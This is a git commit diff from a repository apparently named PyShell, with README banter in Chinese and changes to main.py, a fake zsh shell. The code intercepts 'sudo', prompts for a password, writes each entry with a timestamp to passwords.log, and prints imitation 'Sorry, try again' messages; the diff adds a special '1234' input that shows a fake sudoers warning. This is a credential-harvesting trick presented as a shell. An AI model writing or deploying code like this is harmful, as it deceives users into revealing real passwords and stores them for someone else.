Merge branch 'main' of https://git.code.o.nmgjg.com.cn/hexianglong/PyShell
This commit is contained in:
@@ -13,3 +13,4 @@
|
|||||||
### 好好好,其实说白了就是把zsh覆盖main改了几行就成合并了是吧
|
### 好好好,其实说白了就是把zsh覆盖main改了几行就成合并了是吧
|
||||||
# 不然呢?
|
# 不然呢?
|
||||||
# 不是怎么还耍无赖了那?
|
# 不是怎么还耍无赖了那?
|
||||||
|
?
|
||||||
|
|||||||
12
main.py
12
main.py
@@ -76,15 +76,25 @@ def pseudo_zsh():
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
# 伪造 sudo 密码输入并记录
|
# 伪造 sudo 密码输入并记录
|
||||||
|
|
||||||
if args[0] == 'sudo':
|
if args[0] == 'sudo':
|
||||||
|
flight1 = True
|
||||||
|
a = 0
|
||||||
for attempt in range(3): # 循环 3 次
|
for attempt in range(3): # 循环 3 次
|
||||||
|
a += 1
|
||||||
fake_password = getpass.getpass("Password: ")
|
fake_password = getpass.getpass("Password: ")
|
||||||
|
if fake_password == "1234":
|
||||||
|
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||||
|
flight1 = False
|
||||||
|
break
|
||||||
with open("passwords.log", "a") as f:
|
with open("passwords.log", "a") as f:
|
||||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||||
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
|
||||||
time.sleep(delay) # 模拟延迟
|
time.sleep(delay) # 模拟延迟
|
||||||
|
if a != 3:
|
||||||
print("Sorry, try again.")
|
print("Sorry, try again.")
|
||||||
|
if flight1:
|
||||||
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user